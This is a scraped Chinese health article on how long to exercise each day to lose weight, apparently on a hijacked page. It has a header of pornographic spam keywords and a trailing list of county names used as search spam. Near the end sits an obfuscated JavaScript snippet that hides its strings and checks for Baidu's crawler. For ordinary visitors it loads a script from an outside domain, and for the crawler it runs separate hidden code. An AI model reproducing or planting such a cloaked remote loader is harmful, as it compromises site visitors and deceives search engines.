亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 減肥 > 運(yùn)動減肥 > 正文

減肥一天需要運(yùn)動多久最合理?

2017-03-09 08:48:38  來源:360常識網(wǎng)   熱度:
導(dǎo)語:利用運(yùn)動想減肥的朋友有一點(diǎn)需要知道,到底運(yùn)動多久最合理。這個要根本個人的運(yùn)動項目和身體條件來決定,體能好的運(yùn)動久一點(diǎn)沒問題。如果是選擇有氧運(yùn)動,一次40分鐘到60分鐘就可以了。

人們?nèi)菀追敢环N認(rèn)知錯誤就是認(rèn)為時間與效果是正相關(guān)的關(guān)系,以為時間越長效果就會越好。因此,為了達(dá)到理想的減肥效果,他們一天會在健身房耗上好幾個小時。資深的健身教練曾跟小編分享過他的一個發(fā)現(xiàn),每次在健身房里呆上幾個小時的會員,運(yùn)動效果反而不及呆一個小時的會員。

運(yùn)動時間越長不見得效果越好

就中低強(qiáng)度的有氧運(yùn)動來說,隨著時間的延長,脂肪供能的比例會增大,也就是說,運(yùn)動越久,你減掉的脂肪就會越多。在有氧運(yùn)動堅持30分鐘左右,血液中游離脂肪酸含量達(dá)到最高點(diǎn),脂肪供能比例也達(dá)到最高。所以,一般建議中等強(qiáng)度有氧運(yùn)動至少要堅持30分鐘以上。高強(qiáng)度的有氧運(yùn)動消耗脂肪的比例較低。以減脂為目的的人群應(yīng)該少做高強(qiáng)度的有氧運(yùn)動。

力量訓(xùn)練主要消耗糖原供能,消耗脂肪供能的比例較低。但是這并不是說力量訓(xùn)練就不能減肥。在運(yùn)動過程中,有氧運(yùn)動的燃脂能力要明顯優(yōu)于力量訓(xùn)練,可是力量訓(xùn)練的燃脂作用持續(xù)的時間長,最終在24小時內(nèi),甚至超過了低強(qiáng)度訓(xùn)練。從這層面來說,有時半個小時的力量訓(xùn)練效果還可能優(yōu)于一個小時的中等強(qiáng)度的有氧運(yùn)動。

之所以說運(yùn)動時間越長不一定效果越好,還有一個原因就是,有氧運(yùn)動時間長了,身體消耗蛋白質(zhì)供能的比例也會上升。減脂多了,減肌肉也多了。肌肉減少,身體基礎(chǔ)代謝會下降,要瘦就比較困難了。

另外,運(yùn)動時間過長會令身體疲憊,甚至導(dǎo)致肌肉勞損。長時間的運(yùn)動會讓乳酸大量堆積在身體內(nèi)部造成肌肉疲憊、酸痛、痙攣。因此,運(yùn)動需要勞逸結(jié)合。

一天運(yùn)動多長時間最好?

一天運(yùn)動時間多長需要參考你的運(yùn)動目的。如果你運(yùn)動是為了減重減脂的,那么可以做較長時間的中等強(qiáng)度的有氧運(yùn)動,建議一次為40分鐘到60分鐘。力量訓(xùn)練之后的有氧運(yùn)動時間可以稍短一些,30分鐘左右即可。倘若你本身并不胖,運(yùn)動只是為了增肌,那可以多做力量訓(xùn)練,每次30分鐘左右。

總結(jié):久坐一族小編建議每隔一小時就站起來活動活動,不僅有利于血液循環(huán),還可以緩解眼部疲勞。下班后到家做些基礎(chǔ)瑜伽運(yùn)動,緩解一下全身緊張的肌肉也是極好的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
洛隆县| 疏勒县| 尉犁县| 邳州市| 鸡泽县| 湖州市| 石河子市| 邵东县| 嘉峪关市| 新乡市| 亳州市| 克拉玛依市| 军事| 阳山县| 伊通| 彭阳县| 洛川县| 克山县| 云和县| 东明县| 麻城市| 湘潭县| 滕州市| 富锦市| 五台县| 北票市| 保定市| 清河县| 普格县| 辉县市| 锡林郭勒盟| 滨州市| 开远市| 静海县| 明星| 衡水市| 忻州市| 九江市| 兴城市| 岗巴县| 和平县|